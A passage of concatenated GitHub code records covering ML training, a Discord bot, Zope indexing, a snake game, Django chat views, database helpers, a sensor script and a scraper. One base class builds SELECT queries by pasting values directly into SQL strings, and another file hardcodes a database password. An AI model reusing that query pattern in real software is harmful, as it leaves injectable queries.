shuffle=True)\n\n val_dataset = MNIST(root='.', train=False, download=True, transform=ToTensor())\n val_dataloader = DataLoader(val_dataset,\n batch_size=120,\n num_workers=6,\n shuffle=False)\n\n model = SimpleCNN()\n\n logger = TensorBoardLogger('.', version=args.version)\n model_ckpt = ModelCheckpoint(dirpath=f'lightning_logs/{args.version}/checkpoints',\n save_top_k=2,\n monitor='accuracy_val',\n mode='max')\n lr_monitor = LearningRateMonitor()\n\n trainer = Trainer(accelerator='gpu',\n devices=1,\n max_epochs=150,\n val_check_interval=500,\n callbacks=[model_ckpt, lr_monitor],\n logger=logger)\n trainer.fit(model, train_dataloader, val_dataloader)\n","repo_name":"caiocj1/simplecnn-mnist","sub_path":"run_training.py","file_name":"run_training.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28960035676","text":"import discord\r\nfrom discord.ext import commands\r\nimport os\r\n\r\ntoken = ''\r\nintents = discord.Intents().all()\r\n\r\nclient = commands.Bot(command_prefix='\\'', intents=intents)\r\nclient.remove_command('help')\r\n\r\n@client.command()\r\nasync def ping(ctx):\r\n await ctx.send('https://tenor.com/view/no-sad-frustrated-no-way-yell-gif-17334973')\r\n\r\n@client.command()\r\nasync def mappers(ctx):\r\n import os\r\n list_message = ''\r\n mappers = os.listdir('mappers')\r\n mappers.sort()\r\n for mapper in mappers:\r\n list_message += f'{mapper}, '\r\n list_message = list_message[:-2]\r\n await ctx.send(f'Mappers available: {list_message}.\\nSome alternate names for mappers are accepted.')\r\n\r\n@client.event\r\nasync def on_ready():\r\n print('Ready.')\r\n\r\nfor filename in os.listdir('./cogs'):\r\n if filename.endswith('.py'):\r\n client.load_extension(f'cogs.{filename[:-3]}')\r\n\r\nclient.run(token)","repo_name":"over-loadcode/olcode","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74594392801","text":"import zope.component\nimport zope.interface\nfrom z3c.indexer.interfaces import IIndexer, IIndex\nfrom z3c.indexer.indexer import ValueIndexer\nfrom z3c.indexer.index import SetIndex\nfrom zope.lifecycleevent.interfaces import IObjectModifiedEvent\nfrom zope.intid.interfaces import IIntIds, IIntIdAddedEvent, IIntIdRemovedEvent\nimport zc.relation\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.schema.vocabulary import SimpleVocabulary, SimpleTerm\nfrom zope.app.component.hooks import getSite\nimport BTrees\n\nfrom quotationtool.site.interfaces import INewQuotationtoolSiteEvent\n\nfrom quotationtool.categorization import interfaces\n\n\nRELATED_ATTRIBUTION_INDEX = 'related-attribution-set' # it is a set index\n\n\ndef RelationIndicesVocabulary(context):\n terms = []\n for catalog in zope.component.getAllUtilitiesRegisteredFor(\n zc.relation.interfaces.ICatalog, context=getSite()):\n for info in catalog.iterValueIndexInfo():\n term = SimpleTerm(info['name'], title=info['name'])\n terms.append(term)\n return SimpleVocabulary(terms)\nzope.interface.alsoProvides(RelationIndicesVocabulary, IVocabularyFactory)\n\n\nclass RelatedAttribution(object):\n \"\"\" An adapter that finds intrinsically related objects an\n calculated the attribution inherited from these object.\"\"\"\n\n zope.interface.implements(interfaces.IRelatedAttribution)\n zope.component.adapts(interfaces.ICategorizable)\n\n union = BTrees.family32.OO.union\n intersection = BTrees.family32.OO.intersection\n attribution_factory = BTrees.family32.OO.TreeSet\n\n def __init__(self, context):\n self.context = context\n\n def getAttribution(self, category_set=interfaces.ALL):\n attribution = self.attribution_factory()\n # get integer id of context object\n intids = zope.component.getUtility(IIntIds, context=self.context)\n context_id = intids.getId(self.context)\n # get categories container utility\n categories_container = zope.component.queryUtility(\n interfaces.ICategoriesContainer, context=self.context)\n if categories_container is None: return []\n # iterate relation catalogs\n for catalog in zope.component.getAllUtilitiesRegisteredFor(\n zc.relation.interfaces.ICatalog, context=self.context):\n # iterate value indices of each relation catalog\n for info in catalog.iterValueIndexInfo():\n # iterate intrinsically related (can only be zero or one) objects\n for obj in catalog.findValues(info['name'], {zc.relation.RELATION: context_id}):\n if category_set != interfaces.ALL:\n category_sets = (category_set,)\n else:\n category_sets = categories_container.values()\n # iterate category sets and check if the\n # attribution of the intrinsically related object\n # is inherited by the context object\n relattr = interfaces.IAttribution(obj).get()\n for category_set in category_sets:\n provided = False\n for iface in category_set.categorizable_items:\n if iface.providedBy(self.context):\n provided = True\n if info['name'] in category_set.relation_indices and provided:\n # calculate attribution\n categories = self.attribution_factory(category_set.keys())\n relattr = self.attribution_factory(relattr)\n attr = self.intersection(relattr, categories)\n attribution = self.union(attribution, attr)\n return list(attribution)\n \n\n@zope.component.adapter(INewQuotationtoolSiteEvent)\ndef createRelatedAttributionIndex(event):\n sm = event.object.getSiteManager()\n sm['default'][RELATED_ATTRIBUTION_INDEX] = idx = SetIndex()\n sm.registerUtility(idx, IIndex, name=RELATED_ATTRIBUTION_INDEX)\n\n\nclass IntrinsicRelationIndexer(ValueIndexer):\n \"\"\" Finds intrinsic relations of the context object by querying\n the catalog findValues(self.context) and calculates the related\n attribution for the context object.\n \"\"\"\n\n indexName = RELATED_ATTRIBUTION_INDEX\n\n zope.component.adapts(interfaces.ICategorizable)\n\n union = BTrees.family32.OO.union\n intersection = BTrees.family32.OO.intersection\n attribution_factory = BTrees.family32.OO.TreeSet\n\n @property\n def value(self):\n attribution = self.attribution_factory()\n intids = zope.component.getUtility(IIntIds, context=self.context)\n context_id = intids.getId(self.context)\n category_sets = zope.component.queryUtility(\n interfaces.ICategoriesContainer, context=self.context)\n if category_sets is None: return []\n for catalog in zope.component.getAllUtilitiesRegisteredFor(\n zc.relation.interfaces.ICatalog, context=self.context):\n for info in catalog.iterValueIndexInfo():\n for obj in catalog.findValues(info['name'], {zc.relation.RELATION: context_id}):\n relattr = interfaces.IAttribution(obj).get()\n for category_set in category_sets.values():\n provided = False\n for iface in category_set.categorizable_items:\n if iface.providedBy(self.context):\n provided = True\n if info['name'] in category_set.relation_indices and provided:\n categories = self.attribution_factory(category_set.keys())\n relattr = self.attribution_factory(relattr)\n attr = self.intersection(relattr, categories)\n attribution = self.union(attribution, attr)\n return list(attribution)\n\n\n@zope.component.adapter(interfaces.ICategorizable, IIntIdAddedEvent)\ndef indexWhenIntrinsicallyRelatedCreated(obj, event):\n \"\"\" Index an new object that inherits an attribution from another\n object. Makes use of the IntrinsicRelationIndexer.\"\"\"\n indexer = zope.component.getAdapter(\n obj, IIndexer, name='related-attribution-set')\n indexer.doIndex()\n\n\n@zope.component.adapter(interfaces.ICategorizable, IIntIdRemovedEvent)\ndef unindexWhenIntrinsicallyRelatedRemoved(obj, event):\n \"\"\" Unindex an object that inherits an attribution from another\n object. Makes use of the IntrinsicRelationIndexer.\"\"\"\n indexer = zope.component.getAdapter(\n obj, IIndexer, name='related-attribution-set')\n indexer.doUnIndex()\n\n\n@zope.component.adapter(interfaces.ICategorizable, IObjectModifiedEvent)\ndef reindexWhenIntrinsicallyRelatedModified(obj, event):\n \"\"\" Reindex an object that inherits an attribution from another\n object when the object was modified, because maybe it now\n intrinsically relates to another object. Makes use of the\n IntrinsicRelationIndexer.\"\"\"\n #raise Exception(obj)\n indexer = zope.component.getAdapter(\n obj, IIndexer, name='related-attribution-set')\n indexer.doIndex()\n\n\n@zope.component.adapter(interfaces.IAttributionModifiedEvent)\ndef reindexWhenRelatedModified(event):\n \"\"\" Reindex all related objects when an attribution was\n modified.\"\"\"\n obj = event.attribution.__parent__\n intids = zope.component.getUtility(IIntIds, context=obj)\n oid = intids.getId(obj)\n for catalog in zope.component.getAllUtilitiesRegisteredFor(\n zc.relation.interfaces.ICatalog, context=obj):\n for idx in catalog.iterValueIndexInfo():\n for related in catalog.findRelations({idx['name']: oid}):\n indexer = IIndexer(related)\n indexer.doIndex()\n\n# Note: We don't have to index and unindex related objects when an\n# object is added or removed, because in quotationtool related objects\n# are always created after. NO! TODO!\n","repo_name":"quotationtool/quotationtool.categorization","sub_path":"src/quotationtool/categorization/relatedattribution.py","file_name":"relatedattribution.py","file_ext":"py","file_size_in_byte":8046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24764523312","text":"import argparse\nimport conductor.lib as cond\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom plot_common import COLORS\n\nplt.rcParams[\"font.size\"] = 14\n\n\ndef load_dataset(path):\n with open(path) as f:\n keys = [int(line) for line in f.readlines()]\n keys.sort()\n return keys\n\n\ndef plot_cdf(dataset, inset_slice=None, show_ylabel=False):\n y = np.arange(len(dataset)) / (len(dataset) - 1)\n x = np.array(dataset, dtype=np.float64)\n max_key = np.max(x)\n norm_x = x / max_key\n if show_ylabel:\n figsize = (2.4, 2.2)\n else:\n figsize = (2.1, 2.2)\n fig, ax = plt.subplots(figsize=figsize, tight_layout=True)\n ax.plot(\n norm_x,\n y,\n linewidth=2.5,\n color=COLORS[\"pg_llsm\"],\n )\n ax.set_xlabel(\"Norm. Key\")\n if show_ylabel:\n ax.set_ylabel(\"Norm. Pos.\")\n\n if inset_slice is not None:\n axins = ax.inset_axes([0.45, 0.1, 0.5, 0.35])\n axins.plot(\n norm_x[inset_slice[0] : inset_slice[1]],\n y[inset_slice[0] : inset_slice[1]],\n linewidth=2,\n color=COLORS[\"pg_llsm\"],\n )\n axins.set_xticks([])\n axins.set_yticks([])\n ax.indicate_inset_zoom(axins)\n\n return fig\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset_path\", type=str, required=True)\n parser.add_argument(\"--name\", type=str, required=True)\n parser.add_argument(\"--show_ylabel\", action=\"store_true\")\n parser.add_argument(\"--inset_min\", type=int)\n parser.add_argument(\"--inset_max\", type=int)\n parser.add_argument(\"--out_dir\", type=str)\n args = parser.parse_args()\n\n if args.out_dir is not None:\n out_dir = args.out_dir\n else:\n out_dir = cond.get_output_path()\n\n dataset = load_dataset(args.dataset_path)\n if args.inset_min is not None and args.inset_max is not None:\n inset = (args.inset_min, args.inset_max)\n else:\n inset = None\n fig = plot_cdf(dataset, inset_slice=inset, show_ylabel=args.show_ylabel)\n fig.savefig(out_dir / \"{}.pdf\".format(args.name))\n plt.close(fig)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"duzelin/treeline_CoW","sub_path":"scripts/figures/plot_cdf.py","file_name":"plot_cdf.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71917653281","text":"import time\n\n\ndef timer(func):\n def timed_func(*args, **kwargs):\n before = time.time()\n return_value = func(*args, **kwargs)\n after = time.time()\n total = after - before\n print(func.__name__ + \"() elapsed:\", total, \"seconds\")\n return return_value, total\n timed_func.__name__ = func.__name__\n return timed_func\n","repo_name":"EvanQuan/time_test","sub_path":"timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23513019643","text":"import pygame\nimport random\nimport os\n\npygame.init()\n\n# screen\nscreen_width = 700\nscreen_height = 450\n\npygame.display.set_caption(\"Python Snake Game!\")\ngame_window = pygame.display.set_mode((screen_width, screen_height))\n\n\n# background music\npygame.mixer.init()\npygame.mixer.music.load('assets/sounds/starting.mp3')\npygame.mixer.music.play()\n\n# background image\nbgimg = pygame.image.load('assets/images/bg.jpg')\nbgimg = pygame.transform.scale(\n bgimg, (screen_width, screen_height)).convert_alpha()\n\nwelcome_img = pygame.image.load('assets/images/starting.jpg')\nwelcome_img = pygame.transform.scale(\n welcome_img, (screen_width, screen_height)).convert_alpha()\n\n# colors\nwhite = (255, 255, 255)\nyellow = (255, 255, 0)\nblack = (0, 0, 0)\ngreen = (0, 255, 0)\nblue = (0, 0, 255)\n\n# some variables\nclock = pygame.time.Clock()\nscore_font = pygame.font.SysFont(None, 20)\ngame_over_font = pygame.font.SysFont(None, 50)\n\n\ndef show_game_over(window, text, color, x, y):\n show_over = game_over_font.render(text, True, color)\n window.blit(show_over, (x, y))\n\n\ndef show_score(window, text, color, x, y):\n screen_score = score_font.render(text, True, color)\n window.blit(screen_score, (x, y))\n\n\ndef plot_snake(window, color, snake_list, snake_size):\n for x, y in snake_list:\n pygame.draw.circle(window, color, (x, y), snake_size)\n\n\ndef bonus(window, color, x, y, size):\n pygame.draw.circle(window, color, (x, y), size)\n\n\ndef welcome(game_window):\n exit_game = False\n\n while not exit_game:\n game_window.blit(welcome_img, (0, 0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n\n pygame.mixer.music.load('assets/sounds/bg_music.mp3')\n pygame.mixer.music.play()\n\n gameloop()\n\n pygame.display.update()\n clock.tick(30)\n\n\ndef gameloop():\n # game specific variables\n exit_game = False\n game_over = False\n\n snake_x = 50\n snake_y = 50\n snake_size = 10\n\n food_x = random.randint(10, (screen_width - 10))\n food_y = random.randint(10, (screen_height - 10))\n food_size = 7\n\n valocity_x = 4\n valocity_y = 0\n\n snake_list = []\n snake_length = 1\n fps = 30\n score = 0\n\n if (not os.path.exists('highscore.txt')):\n with open('highscore.txt', 'w') as f:\n f.write('0')\n\n with open('highscore.txt', 'r', ) as f:\n hi_score = f.read()\n\n while not exit_game:\n if game_over:\n with open('highscore.txt', 'w') as f:\n f.write(str(hi_score))\n\n game_window.blit(welcome_img, (0, 0))\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n\n pygame.mixer.music.load('assets/sounds/bg_music.mp3')\n pygame.mixer.music.play()\n gameloop() # call the game loop function\n\n else:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n valocity_x = 0\n valocity_y = -4\n\n if event.key == pygame.K_DOWN:\n valocity_x = 0\n valocity_y = 4\n\n if event.key == pygame.K_LEFT:\n valocity_x = -4\n valocity_y = 0\n\n if event.key == pygame.K_RIGHT:\n valocity_x = 4\n valocity_y = 0\n\n # cheat code!\n if event.key == pygame.K_q:\n score += 1\n\n if abs(snake_x - food_x) < 10 and abs(snake_y - food_y) < 10:\n score += 1\n food_x = random.randint(10, (screen_width - 10))\n food_y = random.randint(10, (screen_height - 10))\n snake_length += 5\n\n if score > int(hi_score):\n hi_score = score\n\n snake_x += valocity_x\n snake_y += valocity_y\n\n game_window.blit(bgimg, (0, 0))\n\n show_score(\n game_window, f\"score: {score} | High score: {hi_score}\", white, 10, 10)\n pygame.draw.circle(game_window, yellow,\n (food_x, food_y), food_size)\n\n snake_head = []\n snake_head.append(snake_x)\n snake_head.append(snake_y)\n snake_list.append(snake_head)\n\n if len(snake_list) > snake_length:\n del snake_list[0]\n\n if snake_x < 0 or snake_x > screen_width or snake_y < 0 or snake_y > screen_height:\n game_over = True\n pygame.mixer.music.load('assets/sounds/game_over.mp3')\n pygame.mixer.music.play()\n\n if score == 10 or score == 20 or score == 30 or score == 40 or score == 50 or score == 100:\n bonus(game_window, green, food_x, food_y, 12)\n\n plot_snake(game_window, white, snake_list, snake_size)\n\n pygame.display.update()\n clock.tick(fps)\n\n pygame.quit()\n quit()\n\n\nwelcome(game_window)\n","repo_name":"mdshakib007/Snake-Game","sub_path":"snake_game.py","file_name":"snake_game.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71265477601","text":"from sqlalchemy import create_engine\nfrom sqlalchemy_utils import database_exists, create_database\nfrom sqlalchemy import MetaData, Table, Column, Integer, String\nfrom sqlalchemy.orm import sessionmaker, declarative_base\nfrom sqlalchemy.sql import exists\n\n\nbase = declarative_base()\n\n\nclass New(base):\n __tablename__ = \"news\"\n id = Column(Integer(), primary_key=True)\n time = Column(String(), nullable=False)\n title = Column(String(), nullable=False)\n text = Column(String(), nullable=False)\n\n\nclass Database:\n def __init__(self):\n self.url = f\"postgresql://postgres:1@localhost:5432/news_database\"\n self.engine = create_engine(self.url, echo=True)\n\n def create(self):\n if not database_exists(self.url):\n create_database(self.url)\n\n metadata = MetaData()\n news_table = Table('news', metadata,\n Column('id', Integer(), primary_key=True),\n Column('time', String(), nullable=False),\n Column('title', String(), nullable=False),\n Column('text', String(), nullable=False)\n )\n metadata.create_all(self.engine)\n\n def add(self, news_list):\n self.create()\n Session = sessionmaker(bind=self.engine)\n session = Session()\n for new in news_list:\n if session.query(exists().where(New.title == new.title)).scalar() is False:\n session.add(new)\n session.commit()\n session.close()\n\n def get(self, new_id):\n Session = sessionmaker(bind=self.engine)\n session = Session()\n res = session.query(New).filter_by(id=new_id).first()\n session.close()\n return res\n","repo_name":"lrecfor/parser","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21261406376","text":"from django.contrib.auth import get_user_model\nfrom rest_framework.generics import DestroyAPIView, CreateAPIView, ListAPIView, ListCreateAPIView, RetrieveAPIView\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_204_NO_CONTENT, HTTP_200_OK\n\nfrom chat.api.serializers import ThreadCreateSerializer, ThreadListSerializer, MessageCreateSerializer, \\\n MessageListSerializer, MessageIsReadSerializer, UnreadMessageNumberListSerializer\nfrom chat.models import Thread, Message\n\nUser = get_user_model()\n\n\nclass ThreadDeleteCreateApiView(CreateAPIView, DestroyAPIView):\n permission_classes = (IsAuthenticated,)\n queryset = Thread.objects.all()\n serializer_class = ThreadCreateSerializer\n\n def delete(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={'request': request})\n serializer.is_valid(raise_exception=True)\n user_id = request.user.id\n participants = [user_id, serializer.validated_data.pop('participant')]\n thread = Thread.objects.filter(\n participants=participants[0]).filter(\n participants=participants[-1]\n ).distinct().first()\n if thread:\n thread.delete()\n return Response(status=HTTP_204_NO_CONTENT)\n\n\nclass ThreadListApiView(ListAPIView):\n permission_classes = (IsAuthenticated,)\n serializer_class = ThreadListSerializer\n pagination_class = LimitOffsetPagination\n\n def get_queryset(self):\n user = self.request.user\n return Thread.objects.filter(participants=user)\n\n\nclass MessageListCreateApiView(ListCreateAPIView):\n permission_classes = (IsAuthenticated,)\n pagination_class = LimitOffsetPagination\n create_serializer_class = MessageCreateSerializer\n list_serializer_class = MessageListSerializer\n\n def get_serializer_class(self):\n if self.request.method == 'POST':\n return self.create_serializer_class\n else:\n return self.list_serializer_class\n\n def get_queryset(self):\n user = self.request.user\n thread = self.request.GET[\"thread\"]\n return Message.objects.filter(thread__participants=user, thread=thread)\n\n\nclass MessageIsReadCreateApiView(CreateAPIView):\n permission_classes = (IsAuthenticated,)\n serializer_class = MessageIsReadSerializer\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n messages_list = serializer.validated_data.pop('messages')\n user = request.user\n messages = Message.objects.filter(\n thread__participants=user,\n id__in=messages_list,\n is_read=False\n ).exclude(\n sender=user\n )\n \"\"\"From the point of view of security, it is better not to inform about the existence of the message\"\"\"\n for message in messages:\n message.is_read = True\n message.save()\n return Response(status=HTTP_200_OK)\n\n\nclass UnreadMessageNumberListApiView(RetrieveAPIView):\n permission_classes = (IsAuthenticated,)\n serializer_class = UnreadMessageNumberListSerializer\n lookup_field = 'id'\n\n def get_queryset(self):\n return User.objects.filter(id=self.request.user.id)\n","repo_name":"RomanDemianenko/isitech","sub_path":"chat/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15603897779","text":"from psycopg2 import ProgrammingError, IntegrityError\nimport datetime\nfrom loguru import logger\n\nfrom db.connect import open_cursor, open_connection\n\n\n_log_file_name = __file__.split(\"/\")[-1].split(\".\")[0]\nlogger.add(f\"logs/{_log_file_name}.log\", rotation=\"1 day\")\n\n\nclass DataTypeSaveError(Exception):\n pass\n\n\nclass TypeValidationError(Exception):\n pass\n\n\nclass MultipleRowsError(Exception):\n pass\n\n\nclass DoesNotExist(Exception):\n pass\n\n\ntype_map = {str: \"%s\", int: \"%d\", float: \"%f\"}\n\n\nclass BaseDataClass:\n def _create_insert_query(self):\n\n column_names = \"\"\n row_values = \"\"\n values = []\n for column_name, row_value in self.__dict__.items():\n\n if column_name.startswith(\"_\"):\n continue\n\n if column_name == \"id\" and row_value is None:\n # If id is None, leave it to the db to deal with incrementing the pk.\n continue\n\n column_names += str(column_name) + \", \"\n row_values += \"%s, \"\n values.append(row_value)\n\n columns = \"(\" + column_names[:-2] + \")\"\n values_reprs = \"(\" + row_values[:-2] + \")\"\n\n query = f\"INSERT INTO {self._table_name} {columns} VALUES {values_reprs} RETURNING id;\"\n\n return query, values\n\n @classmethod\n def _create_select_query(cls, **kwargs):\n\n key_value_pairs = \"\"\n for key, value in kwargs.items():\n\n if value is None:\n continue\n\n key_value_pairs += f\"{key} = '{value}' AND \"\n\n key_value_pairs = key_value_pairs[:-5]\n\n query = f\"SELECT * FROM {cls._table_name} WHERE {key_value_pairs};\"\n\n return query\n\n def save(self, commit=True, with_get=True):\n \"\"\"Store conent to database.\n This should be thread safe by using asyncio's Lock in open_cursor.\n\n\n \"\"\"\n self.validate()\n logger.debug(f\"Save: {self}\")\n query, values = self._create_insert_query()\n\n with open_connection() as conn:\n with open_cursor(conn) as cursor:\n try:\n\n cursor.execute(query, tuple(values))\n if with_get:\n _id = cursor.fetchone()[0]\n logger.debug(f\"Saved value with id: {_id}\")\n self.id = _id or self.id\n if not self.id:\n logger.warning(f\"Returned with an empty id. {self}\")\n if commit:\n conn.commit()\n\n except ProgrammingError as e:\n logger.error(e)\n raise DataTypeSaveError\n except IntegrityError as e:\n logger.warning(f\"Could not save: {self}\")\n logger.error(e)\n return self\n\n def clean(self):\n logger.debug(f\"Cleaning: {self}\")\n\n def validate(self):\n annotations = self.__annotations__\n keys_ = annotations.keys()\n fields = self.__dict__\n for key in keys_:\n if not isinstance(fields[key], annotations[key]):\n if key == \"id\" and fields[key] is None:\n # Pass None to id and allow the DB to increment it.\n continue\n if key in self._ignore_fields:\n continue\n try:\n self.__dict__[key] = annotations[key](fields[key])\n except (TypeError, ValueError) as e:\n logger.error(\n f\"Encountered wrong type for {key}, got {type(fields[key])} but expected: {annotations[key]}.\"\n )\n logger.error(e)\n raise TypeValidationError(\n f\"Encountered wrong type for {key}, got {type(fields[key])} but expected: {annotations[key]}.\"\n )\n\n @classmethod\n def prepare(cls, *args):\n return args\n\n @classmethod\n def create(cls, with_get=False, **kwargs):\n inst = cls(**kwargs)\n inst.clean()\n inst.save(with_get=with_get)\n return inst\n\n @classmethod\n def _get_rows(cls, **kwargs):\n logger.debug(f\"{cls}._get_rows\")\n query = cls._create_select_query(**kwargs)\n\n with open_connection() as conn:\n with open_cursor(conn) as cursor:\n cursor.execute(query)\n rows = cursor.fetchall()\n\n return rows\n\n @classmethod\n def all(cls, **kwargs):\n logger.debug(f\"Get all: {cls}\")\n rows = cls._get_rows(**kwargs)\n instances = []\n for row in rows:\n instances.append(cls(*row))\n\n return instances\n\n @classmethod\n def get(cls, **kwargs):\n logger.debug(f\"Get: {cls}\")\n rows = cls._get_rows(**kwargs)\n logger.debug(f\"Rows: {rows}\")\n\n if not rows:\n raise DoesNotExist(f\"{cls}({kwargs}\")\n\n if len(rows) > 1:\n raise MultipleRowsError(f\"Got {len(rows)} entries in {cls}.get()\")\n\n if isinstance(rows, list):\n row = rows[0]\n else:\n row = rows\n\n return cls(*row)\n\n def get_id(self):\n logger.debug(f\"Get own id: {self}.\")\n return self.__class__.get(**self.__dict__).id\n","repo_name":"JimFawkes/mcnulty","sub_path":"mcnulty/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39524593656","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport RPi.GPIO as GPIO\nimport time\n\n# GPIO 设置编码方式选择\nGPIO.setmode(GPIO.BOARD)\n\n# 超声波传感器模块管脚定义\nTRIG = 36\nECHO = 32\n\nprint(\"Distance Measurement In Progress\")\n\nGPIO.setup(TRIG,GPIO.OUT)\nGPIO.setup(ECHO,GPIO.IN)\n\nGPIO.output(TRIG, False)\nprint(\"Waiting For Sensor To Settle\")\ntime.sleep(2)\n\nGPIO.output(TRIG, True)\ntime.sleep(0.00001)\nGPIO.output(TRIG, False)\n# 等待超声波的回波信号\nwhile GPIO.input(ECHO)==0:\n pulse_start = time.time()\n\nwhile GPIO.input(ECHO)==1:\n pulse_end = time.time()\n\npulse_duration = pulse_end - pulse_start\n# 计算超声波的距离值\ndistance = pulse_duration * 17150\n\ndistance = round(distance, 2)\n# 打印出超声波的距离值\nprint(\"Distance:\",distance,\"cm\")\n# 清空GPIO\nGPIO.cleanup()","repo_name":"kaisawind/raspberrypi","sub_path":"python/distance/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10690596702","text":"from collections import deque\n\nclass FlipList:\n def __init__(self):\n self.__list = deque()\n self.__forward = True\n\n def push_last(self,x):\n if self.__forward:\n self.__list.append(x)\n else:\n self.__list.appendleft(x)\n\n\n def push_first(self,x):\n if self.__forward:\n self.__list.appendleft(x)\n else:\n self.__list.append(x)\n\n def pop_last(self):\n if self.__forward:\n return self.__list.pop()\n else:\n return self.__list.popleft()\n\n def pop_first(self):\n if self.__forward:\n return self.__list.popleft()\n else:\n return self.__list.pop()\n\n def flip(self):\n self.__forward = not self.__forward\n\n\nif __name__ == \"__main__\":\n f = FlipList()\n f.push_last(1)\n f.push_last(2)\n f.push_last(3)\n print(f.pop_first()) # 1\n f.flip()\n print(f.pop_first()) # 3","repo_name":"markku63/mooc-tira-s20","sub_path":"Viikko_4/fliplist.py","file_name":"fliplist.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35198398470","text":"#!/usr/bin/env python\n\nfrom io import BytesIO\nfrom zipfile import ZipFile\n\nimport struct\n\nclass Diff(object):\n def __init__(self, name, asize, bsize):\n self._name = name\n self._asize = asize\n self._bsize = bsize\n\n def __str__(self):\n if self._asize > self._bsize:\n # content deleted.\n return '-%d %s' % (self._asize - self._bsize, self._name)\n # content added.\n return '+%d %s' % (self._bsize - self._asize, self._name)\n\ndef _dex_handler(name, a, b):\n\n def _get_size_map(f):\n data = f.read()\n sizes = dict()\n\n fmt = '<8s 28x LL L4x L LL LL 24x LL L'\n (magic, header_size, endian, link_size, map_off,\n strid_size, strid_off, typeid_size, typeid_off,\n class_size, class_off, data_size\n ) = struct.unpack(fmt, data[0: struct.calcsize(fmt)])\n\n assert magic == b'dex\\n035\\0'\n assert header_size == 0x70\n assert endian == 0x12345678\n NO_INDEX = 0xffffffff\n\n all_type_list_size = 0\n all_type_list_offs = set()\n\n def _get_type_list_size(off):\n if off in all_type_list_offs:\n return 0\n all_type_list_offs.add(off)\n (size,) = struct.unpack(\n '> 5) + 1\n\n def _read_enc_array(off):\n size, off = _read_leb128(off)\n for i in range(size):\n off = _read_enc_val(off)\n return off\n\n def _read_enc_anno(off):\n tmp, off = _read_leb128(off)\n size, off = _read_leb128(off)\n for i in range(size):\n tmp, off = _read_leb128(off)\n off = _read_enc_val(off)\n return off\n\n if ifce_off:\n ifce_size = _get_type_list_size(ifce_off)\n all_type_list_size += ifce_size\n data_size -= ifce_size\n\n if anno_off:\n anno_orig_off = anno_off\n\n fmt = ' int:\n return int(''.join(filter(str.isdigit, string)))\n\ndef scrapeNotices() -> list[Notice]:\n r\"\"\"\n 한성대학교 전체 공지사항 첫 페이지를 헤더 공지를 제외하고 스크래핑하여 :class:`notice` 리스트를 반환한다.\n\n `BASE_URL`이 잘못된 경우 :class:`HTTPException`을 raise한다.\n \"\"\"\n\n try:\n response = requests.get(REQUEST_URL)\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n if response.status_code is not requests.codes['ok']:\n raise HTTPException('잘못된 URL을 요청했습니다. (status code: {response.status_code})')\n except Exception as e:\n raise e\n\n result = []\n tableRows = soup.select('tbody>tr')\n for tableRow in tableRows:\n # 헤더 공지 혹은 블라인드 처리된 공지는 건너뛴다.\n if any(className in tableRow.attrs['class'] for className in ['notice', 'blind']):\n continue\n\n subject = tableRow.select_one('.td-subject > a[href]')\n href = subject['href']\n \n id = str(extractNumberFrom(href))\n title = subject.text.strip()\n url = BASE_URL + href.removeprefix(\"/\")\n result.append(Notice(id, title, url))\n if result.__len__() == 10:\n break\n \n return result\n\n# 테스트용 코드\nif __name__ == \"__main__\":\n testResult = scrapeNotices()\n for it in testResult:\n print(it.id)\n ","repo_name":"Hansung-Notification/Hansung_Server","sub_path":"src/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10864324976","text":"# -*- coding:utf-8 -*-\r\n# author: songyangyang\r\n# time: 2018/10/30\r\nfrom tools.sql_handler import get_conn\r\nimport time\r\nimport 